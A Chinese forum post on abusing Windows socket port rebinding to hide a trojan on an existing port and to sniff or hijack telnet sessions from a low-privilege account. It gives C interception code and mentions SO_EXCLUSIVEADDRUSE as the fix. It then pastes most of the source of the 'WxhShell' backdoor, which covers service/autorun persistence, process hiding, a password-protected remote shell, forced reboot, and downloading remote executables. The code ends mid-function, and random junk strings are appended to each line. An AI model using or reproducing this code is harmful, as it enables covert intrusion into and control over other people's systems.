社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14487阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: VxN#\D i&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pw<?Dw]m  
l[T-Ak  
  saddr.sin_family = AF_INET; 0(y*EJA$  
v8f3B<kj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1 7~Pc  
*B|hRZka1A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F|F0#HC ?  
#7 O7O~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  BjH|E@z  
|M7C=z='  
  这意味着什么?意味着可以进行如下的攻击: ED>7  
(10t,n$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 LLTr+@lj  
6-wpR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y5GN7.  
E"E(<a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0cHcBxdF  
([q>.[WbH]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~%*l>GkP*  
j_rO_m<8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PL= v,NB  
RkG?R3e  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5>9Q<*   
`?$-T5Rr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _E?tVx.6  
r B+ (  
  #include 66?`7j X  
  #include .vKgiIC:  
  #include (>0`e8v!  
  #include    t[!,puZc#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   961&rR}d  
  int main() Lmjd,t  
  { 9\!&c<i=  
  WORD wVersionRequested; 2*D2jw  
  DWORD ret; {O _X/y~  
  WSADATA wsaData; \ *CXXp`  
  BOOL val; I '0[  
  SOCKADDR_IN saddr; ia\Gmh  
  SOCKADDR_IN scaddr; ph6/+[:  
  int err; PNAvT$0LaZ  
  SOCKET s; [Z/P[370  
  SOCKET sc; 4}N+o+  
  int caddsize; @] .s^ss9_  
  HANDLE mt; jW#dUKS(  
  DWORD tid;   i}LQ}35@  
  wVersionRequested = MAKEWORD( 2, 2 ); ,$Fh^KNo]  
  err = WSAStartup( wVersionRequested, &wsaData ); *=@8t^fa86  
  if ( err != 0 ) { 2+pw%#fe  
  printf("error!WSAStartup failed!\n"); ]rGd!"q  
  return -1; qsp3G7\'=  
  } [Uk cG9  
  saddr.sin_family = AF_INET; X#axCDM-  
   mL1ZSX o!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %rs2{Q2k  
?:vg`m!*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;L87 %P(.  
  saddr.sin_port = htons(23); xqk(id\&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1N _"Mm{  
  { !m\By%(  
  printf("error!socket failed!\n"); 27gHgz}}  
  return -1; jR1^e$  
  } \)ac,i@fy  
  val = TRUE; HzM^Zn57%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }Y5Sf"~M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m?_S&/+*  
  { <BQ4x.[  
  printf("error!setsockopt failed!\n"); aIk%$Mat  
  return -1; JQ%`]=n(/  
  } Z8Fbx+~"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ] w FFGy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CCX\"-C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 un[Z$moN"  
:JSOj@s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {vAq08  
  { z@cL<.0CE  
  ret=GetLastError(); JLRw`V,o7  
  printf("error!bind failed!\n"); Gu&?Gn oc  
  return -1; Nl7"|()e  
  } i7}) VDsZ  
  listen(s,2); z@$7T: H>  
  while(1) jj#K[@u  
  { Y*0%l q({H  
  caddsize = sizeof(scaddr); >(u=/pp=:  
  //接受连接请求 :a}hd^;[%8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j ij:}.d6  
  if(sc!=INVALID_SOCKET) 7,_N9Q]rB  
  { "-vm=d~\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H;}V`}c<`  
  if(mt==NULL) }(dhXOf\q  
  { p,@_A'  
  printf("Thread Creat Failed!\n"); ow ~(k5k:  
  break; Rw*l#cr=.  
  } ,'F;s:WM,  
  } T<DQi  
  CloseHandle(mt); DVRE;+Jt  
  } N>7INK  
  closesocket(s); :=^JHE{  
  WSACleanup(); 6.2_UN^<  
  return 0; JMw1qPJQ  
  }   S[{#AX=0  
  DWORD WINAPI ClientThread(LPVOID lpParam) wCvtw[6  
  { mT>56\63  
  SOCKET ss = (SOCKET)lpParam; 9~<HTH  
  SOCKET sc; t&wtw  
  unsigned char buf[4096]; sn/^#Aa=N  
  SOCKADDR_IN saddr; Ta%{Wa\U9z  
  long num; R|ViLty  
  DWORD val; "Q#/J)N  
  DWORD ret; !Z,h5u\.w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "MKgU[t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E:(flW=  
  saddr.sin_family = AF_INET; \QstcsEt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U/m6% )Yx(  
  saddr.sin_port = htons(23); S-npJh 6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8k]'P*9ulz  
  { WL7R.!P  
  printf("error!socket failed!\n"); sbrU;X_S  
  return -1; t*< .^+Vd  
  } &|IY=$-  
  val = 100; ,+KZn}>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $VhUZGuG>  
  { gpe^G64c`  
  ret = GetLastError(); WsTbqR)W%  
  return -1; _LFZ0  
  } 0~H(GG$VH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $xyG0Q.  
  { QSW62]=vV  
  ret = GetLastError(); LXG,IG  
  return -1; dOqn0Z  
  } x1]^].#Eo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KO<Yc`Fs  
  { uR|Jn)/m(  
  printf("error!socket connect failed!\n"); Fa,a)JY>  
  closesocket(sc); G7DEavtr  
  closesocket(ss); bg*4Z?[dd  
  return -1; E#`=xg  
  } YW}q@AY7  
  while(1) wLPL 9  
  { h-=3 b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M])Y|}wv8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 { ,/mQ3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~(aQ!!H6  
  num = recv(ss,buf,4096,0); z[B*sbS  
  if(num>0) &7!&]kA+  
  send(sc,buf,num,0); RRqHo~*0  
  else if(num==0) n|Iy  
  break; EkgS*q_  
  num = recv(sc,buf,4096,0); ^<'5 V)  
  if(num>0) P&V,x`<Z  
  send(ss,buf,num,0); F``$}]9KHD  
  else if(num==0) L"&j(|{  
  break; ]vMr@JM-G  
  } M2(+}gv;7p  
  closesocket(ss); y5 $h  
  closesocket(sc); ^I@1y}xi  
  return 0 ; Kgbgp mW  
  } UJ 1iXV[h"  
^\Nsx)Y;  
DnS# cs~  
========================================================== Zj99]4?9  
_(&^M[O  
下边附上一个代码,,WXhSHELL ya0L8`q  
oJ\UF S  
========================================================== 8rAOs\ys  
nR-`;lrF~  
#include "stdafx.h" &[f.;1+C  
cJd~UQ<k  
#include <stdio.h> -@X?~4Idz  
#include <string.h> :3M2zV cf  
#include <windows.h> r t@Jw]az  
#include <winsock2.h> L}*:,&Y/  
#include <winsvc.h> 5:6as^i:b  
#include <urlmon.h> i[/g&fx  
N@lTn}U  
#pragma comment (lib, "Ws2_32.lib") T$5u+4>"  
#pragma comment (lib, "urlmon.lib") G.OAzA13!t  
`[p*qsp_  
#define MAX_USER   100 // 最大客户端连接数 9>\P]:  
#define BUF_SOCK   200 // sock buffer T&c0j(  
#define KEY_BUFF   255 // 输入 buffer ]ppi962Z  
D0 Yl?LU3  
#define REBOOT     0   // 重启 kRo dC(f @  
#define SHUTDOWN   1   // 关机 DvCs 5  
")'o5V  
#define DEF_PORT   5000 // 监听端口 YjN2 ,Xi  
Dj}n!M`2I  
#define REG_LEN     16   // 注册表键长度 =p,+a/*  
#define SVC_LEN     80   // NT服务名长度 bwR_ uF  
9otA5I^v  
// 从dll定义API ~G|un}g=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >Ig%|4Hw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,ef"S r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6nqG;z-IXJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1t haQ"  
kY*3)KCp  
// wxhshell配置信息 MG)wVS<d_  
struct WSCFG { oXw}K((|  
  int ws_port;         // 监听端口 z 9mmZqhK\  
  char ws_passstr[REG_LEN]; // 口令 fsc^8  
  int ws_autoins;       // 安装标记, 1=yes 0=no &W/C2cpmR  
  char ws_regname[REG_LEN]; // 注册表键名 C6Qnn@waYb  
  char ws_svcname[REG_LEN]; // 服务名 O[+![[N2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J/(3: a>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u@d`$]/>F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]'Y vI! r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sW%U3,j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G=4Da~<ij  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .<JD'%?"  
W]|;ZzZ=m  
}; S-[]z*  
12)~PIaF  
// default Wxhshell configuration zjd]65P  
struct WSCFG wscfg={DEF_PORT, zRyZrt,%&  
    "xuhuanlingzhe", /7Z0|Zw]  
    1, >W 2Z]V  
    "Wxhshell", T xRa&1  
    "Wxhshell", S9X~<!]  
            "WxhShell Service", ':yE5j  
    "Wrsky Windows CmdShell Service", MtOA A  
    "Please Input Your Password: ", v ?@Ys+V  
  1, w?kdM1T  
  "http://www.wrsky.com/wxhshell.exe", kE QT[Lo  
  "Wxhshell.exe" pE >~F  
    }; CFD& -tED&  
`T  $lTP  
// 消息定义模块 <~# ZtD$G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !?B9 0(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l= 5kd.{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ji {V#  
char *msg_ws_ext="\n\rExit."; kK!An!9C  
char *msg_ws_end="\n\rQuit."; _QCspPT' c  
char *msg_ws_boot="\n\rReboot..."; G`E%uyjG$j  
char *msg_ws_poff="\n\rShutdown..."; .(Q3M0.D  
char *msg_ws_down="\n\rSave to "; @;x|+@r  
'3=[xVnv  
char *msg_ws_err="\n\rErr!"; 30]?Jz6m  
char *msg_ws_ok="\n\rOK!"; (_-<3)q4  
 !pl<  
char ExeFile[MAX_PATH]; 0}$",M!p  
int nUser = 0; >L#&L ?#  
HANDLE handles[MAX_USER]; !$hrK6o  
int OsIsNt; Sj{z  
]od]S 8$5  
SERVICE_STATUS       serviceStatus; 5{qFKo"g@,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !I5_ln  
1R9hA7y&,/  
// 函数声明 " M8 j?  
int Install(void); 1g{`1[.QO  
int Uninstall(void); ;hNn F&l  
int DownloadFile(char *sURL, SOCKET wsh); `Q6@,-(3  
int Boot(int flag); _m0H gLS~  
void HideProc(void); Oa\!5Pw1  
int GetOsVer(void); 4 W}8?&T  
int Wxhshell(SOCKET wsl); $6atr-Pb  
void TalkWithClient(void *cs); x-) D@dw<  
int CmdShell(SOCKET sock); ,6PV"E)_  
int StartFromService(void); P"W$ZX  
int StartWxhshell(LPSTR lpCmdLine); =UA-&x@  
vjaIFyj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NZYtA7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `ysPEwA|  
 f]q3E[?/  
// 数据结构和表定义 -QCo]:cp  
SERVICE_TABLE_ENTRY DispatchTable[] = b")&"o)G2W  
{ vG#|CO9  
{wscfg.ws_svcname, NTServiceMain}, V^nYG$si  
{NULL, NULL} Sj(uc#  
}; wA) NB  
}Y[Z`w  
// 自我安装 u*{hXR-"  
int Install(void) J7t5 B}}  
{ O[y.3>l[s  
  char svExeFile[MAX_PATH]; D|9C|q  
  HKEY key; ;r>?V2,tm  
  strcpy(svExeFile,ExeFile); IV_u f  
`rW{zQYM  
// 如果是win9x系统,修改注册表设为自启动 C9x'yBDv  
if(!OsIsNt) { |~hSK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iyU@|^B"Wa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  S20x  
  RegCloseKey(key); 8^&)A b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +cM;d4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UP 1Y3  
  RegCloseKey(key); _)p@;vGV  
  return 0; !V$nU8p|  
    } Wt()DG|[  
  } uCF+Mp  
} gWqmK/.U.0  
else { vLD Ma>  
~YO')  
// 如果是NT以上系统,安装为系统服务 c)#b*k,lw<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r-'\<d(J$  
if (schSCManager!=0) sn2SDHY  
{ 2,/("lV@0  
  SC_HANDLE schService = CreateService ?+D_*'65D  
  ( @jN!j*Y H  
  schSCManager, HB{w:  
  wscfg.ws_svcname, zN#$eyt  
  wscfg.ws_svcdisp, xO9,,w47  
  SERVICE_ALL_ACCESS, 5dT-{c%w4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dP T)&  
  SERVICE_AUTO_START, JVwYV5-O<0  
  SERVICE_ERROR_NORMAL, qc|;qPj   
  svExeFile,  S&]+r<  
  NULL, !w]!\H  
  NULL, i' %V}2  
  NULL, ;H_yNrwA  
  NULL, :RzcK>Gub=  
  NULL .Di+G-#aEs  
  ); 3%{XJV   
  if (schService!=0) v+znKpE  
  { -5>K pgXo\  
  CloseServiceHandle(schService); hZY+dHa]  
  CloseServiceHandle(schSCManager); A;1<P5lo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7~C@x+1S/  
  strcat(svExeFile,wscfg.ws_svcname); =+T{!+|6P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?qAX *j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =R:3J"ly0  
  RegCloseKey(key); 0fxA*]h  
  return 0; #~I%qa"_pa  
    } xVuGean Cv  
  } &sR{3pC}  
  CloseServiceHandle(schSCManager); ppR~e*rv-  
} D`3}j  
} qeQTW@6 F  
_MR|(mV  
return 1; F:n(yXA  
} 7F4$k4r<  
92]>"  
// 自我卸载 Mto3Ryic!  
int Uninstall(void) 4FQU$f  
{ 9j49#wG0"B  
  HKEY key; _p?lRU8  
McNj TD  
if(!OsIsNt) { P}~6 yX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {ogGi/8  
  RegDeleteValue(key,wscfg.ws_regname); lD6hL8[  
  RegCloseKey(key); x/~V ZO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,'= Y  
  RegDeleteValue(key,wscfg.ws_regname); 702&E(rx,  
  RegCloseKey(key); !R//"{k0?  
  return 0; k^ B'W{  
  } ]8htJ]<|Q  
} 4Yt:PN2  
} [ {lF1+];@  
else { [5a`$yaQ  
UbY-)9==  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RUX!(Xw  
if (schSCManager!=0) D~NH 4B  
{ <^n9?[m*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <X|"5/h  
  if (schService!=0) .Pxb9mW  
  { Pa0tf:  
  if(DeleteService(schService)!=0) { WQiEQ>6(t(  
  CloseServiceHandle(schService); zHDC8m  
  CloseServiceHandle(schSCManager); @_1$ <8  
  return 0; Z0b1E  
  } D rHMlk5  
  CloseServiceHandle(schService); RL.%o?<&?  
  } 8 l}tYl`|  
  CloseServiceHandle(schSCManager); N5%~~JRO  
} |I)xK@7  
} zr84%_^  
YDs/BF Z  
return 1; ?kE2 S6j5  
} r;upJbSX  
+vDT^|2SF  
// 从指定url下载文件 L_)?5IOJ$  
int DownloadFile(char *sURL, SOCKET wsh) =*8"ci $  
{ MSRIG-  
  HRESULT hr; >=C)\Yfu)  
char seps[]= "/"; /YUf(' b  
char *token; LEyn1d  
char *file; :T%,.sH  
char myURL[MAX_PATH]; -_>c P  
char myFILE[MAX_PATH]; F3';oyy  
oJyC{G  
strcpy(myURL,sURL); I`Rxijz  
  token=strtok(myURL,seps); sDJ5'ul  
  while(token!=NULL) 6<rc]T'|  
  { K# _plpr  
    file=token; zs[t<`2  
  token=strtok(NULL,seps); m='+->O*'l  
  } >s[}f6*2@  
' nf"u  
GetCurrentDirectory(MAX_PATH,myFILE); )TRDM[u  
strcat(myFILE, "\\"); {oBVb{<  
strcat(myFILE, file); dn%/SJC  
  send(wsh,myFILE,strlen(myFILE),0); (:-DuUt  
send(wsh,"...",3,0); 6\~m{@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Rg0\Ng4|G  
  if(hr==S_OK) b*P \a  
return 0; HV>|f'45  
else d{ OY  
return 1; "UVV/&`o  
Jv7 @[<$  
} `I6)e{5t  
r10)1`[  
// 系统电源模块 Ij#%Qu  
int Boot(int flag) r8Gq\ ^  
{ Zh3]bg5  
  HANDLE hToken; b!7"drge:  
  TOKEN_PRIVILEGES tkp; J )@x:,o  
]*):2%f  
  if(OsIsNt) { l9P~,Ec4''  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); He j0l^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e^Jy-?E  
    tkp.PrivilegeCount = 1; NbkWy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7J$ ^R6rh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @jwUH8g1  
if(flag==REBOOT) { OP:;?Fs9`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b3Y9  
  return 0; 5%tIAbGW  
} eN}FBX#'  
else { {wA@5+[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wond>m 3  
  return 0; 3y 0`G8P'h  
} vcV=9q8P1  
  } 9D8el}uHf  
  else { Q#:,s8TW[  
if(flag==REBOOT) { #c?\(qjWA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oX?2fu-  
  return 0; QM;L>e-ZY  
} 7cvbYP\<lv  
else { Ev$?c9*>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m0=CD  
  return 0; 8a-[Q  
} <niHJ*  
} :2?i9F0_  
LuQ=i`eXx  
return 1; *h-nI=  
} #C !8a  
UN,@K9  
// win9x进程隐藏模块 xx9qi^  
void HideProc(void) #a}fI  
{ p|AIz3  
6S`eN\s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6aMqU?-  
  if ( hKernel != NULL ) vK2L"e  
  { a*%>H(x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i ]F,Y;&|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Is?0q@  
    FreeLibrary(hKernel); Cww$ A %}  
  } DSET!F;PG  
,|T   
return; EJZl'CR  
} wl5!f|  
*K m%Vl  
// 获取操作系统版本 G}f.fR Y  
int GetOsVer(void) |@V<}2zCZ  
{ ~EX/IIa{  
  OSVERSIONINFO winfo; MIi:\m5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X0P<ifIv  
  GetVersionEx(&winfo); gqG l>=.m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GT#iY*  
  return 1; }bjTb!  
  else ob-be2EysH  
  return 0; 5k<HO_]  
} <3ovCqa  
LTFA2X&E=  
// 客户端句柄模块 qItj`F)d  
int Wxhshell(SOCKET wsl) z[CCgs&vqe  
{ syBYH5  
  SOCKET wsh; E-Cj^#OY|N  
  struct sockaddr_in client; 'B6D&xn'%&  
  DWORD myID; s )_sLt8?  
=p^*y-z  
  while(nUser<MAX_USER) a-8~f8na{(  
{ /5zzzaj {  
  int nSize=sizeof(client); *i)GoQoB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YwHnDVV+  
  if(wsh==INVALID_SOCKET) return 1; H^'EY:|  
Q:@Y/4=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ( 3=.3[  
if(handles[nUser]==0) wk)gxn1A,  
  closesocket(wsh); .KK"KO5k  
else ^c.b@BE  
  nUser++; 85Ms*[g  
  } N b(se*Y#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3nR|*t;  
6n;ewl}  
  return 0; 2lXsD;[  
} 24|:VxO  
,]20I _  
// 关闭 socket =XudL^GF  
void CloseIt(SOCKET wsh) )e]:T4*vo  
{ WMl_$Fd6  
closesocket(wsh); kZf7  
nUser--; 'Y>!xm   
ExitThread(0); #`}g?6VHo  
} qfN<w&P  
0.&gm@A~c$  
// 客户端请求句柄 iY.~N#Q  
void TalkWithClient(void *cs) ;2%3~L8?V  
{ WV?iYX!  
[xM07%:  
  SOCKET wsh=(SOCKET)cs; )mwY] !  
  char pwd[SVC_LEN]; vad" N  
  char cmd[KEY_BUFF]; !YAkHrF`[0  
char chr[1]; +Y 3_)  
int i,j; r|0C G^:C  
^W#[6]S  
  while (nUser < MAX_USER) { nE::9Yh8z  
:GGsQ n  
if(wscfg.ws_passstr) { 1NJ*EzJ~?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tz%l 9aC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b*.)m  
  //ZeroMemory(pwd,KEY_BUFF); 2Uu,Vv  
      i=0; xp><7{  
  while(i<SVC_LEN) { VwtGHF'  
HQ2in_'  
  // 设置超时 & }k=V4L  
  fd_set FdRead; "fz-h  
  struct timeval TimeOut; M(oW;^B  
  FD_ZERO(&FdRead); 5)&e2V',y  
  FD_SET(wsh,&FdRead); REFisH-  
  TimeOut.tv_sec=8; Bg7?1m  
  TimeOut.tv_usec=0; Uf_w o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9chiu%20  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); * Q51'?y  
$Q]`+:g*}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G++kU o<  
  pwd=chr[0]; !.3 MtXr  
  if(chr[0]==0xd || chr[0]==0xa) { Xb|hP  
  pwd=0; oHeo]<Fbv  
  break; sM~CP zMa  
  } | b@?]M  
  i++; P+"#xH  
    } _k6N(c2Nd  
MZL~IX  
  // 如果是非法用户,关闭 socket wI`uAZ="  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |d,1mmv@K  
} y:W$~<E`p  
~&KfJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #z5'5|3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); my04>6j0  
 c<4pu  
while(1) { wef QmRK  
'!y ^  
  ZeroMemory(cmd,KEY_BUFF); >\>HRyt%  
%K%8 ~B  
      // 自动支持客户端 telnet标准   D|+H!f{k  
  j=0; *Qyw _Q  
  while(j<KEY_BUFF) { }Y-f+qX*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8`^I. tD  
  cmd[j]=chr[0]; 6X'RCJu%  
  if(chr[0]==0xa || chr[0]==0xd) { QU417EV'  
  cmd[j]=0; Q)Ppx7)  
  break; N>gv!z[E  
  } \!631FcQ   
  j++; R)<>} y  
    } =Qz 8"rt#  
~ xXB !K~C  
  // 下载文件 /,B"H@ J  
  if(strstr(cmd,"http://")) { DVCc^5#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9|OQHy  
  if(DownloadFile(cmd,wsh)) nkG 6.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9g 2x+@5T^  
  else  [bv.`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xXHz)w  
  } o+q 5:vJt  
  else { (-~tb-  
Y$'fds4P  
    switch(cmd[0]) { qdcCX:Z<  
   Q.cxen  
  // 帮助 (j cLzq  
  case '?': { u}u2{pO!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "e(OO/EZS  
    break; R?I(f(ib   
  } G q0~&6  
  // 安装 R;,&CQUl  
  case 'i': { OP<@Xz  
    if(Install()) i{ %~&!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \DfvNeF  
    else F.T~txQ~u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (hmasy6hM  
    break; I5 [r-r  
    } Q&n|tQ*4  
  // 卸载 }3vB_0[r  
  case 'r': { -/FCd(  
    if(Uninstall()) =D3Y q?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;9;.!4g/T  
    else E!ZDqq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iRPd=)  
    break; ayC*n'  
    } _ sM$O>  
  // 显示 wxhshell 所在路径 fC(lY4,H3R  
  case 'p': { d5bj$oH  
    char svExeFile[MAX_PATH]; *D`,z3/*  
    strcpy(svExeFile,"\n\r"); 'kYV}rq;l  
      strcat(svExeFile,ExeFile); AbfLV942  
        send(wsh,svExeFile,strlen(svExeFile),0); @.MM-  
    break; `uGX/yQ#=  
    } q9!5J2P  
  // 重启 )_+#yaC  
  case 'b': { OPKm^}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yqCy`TK8  
    if(Boot(REBOOT)) ,=K!Y TeVl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cZ o]*Gv.  
    else { 1R,n[`}h  
    closesocket(wsh); VsUEp_I  
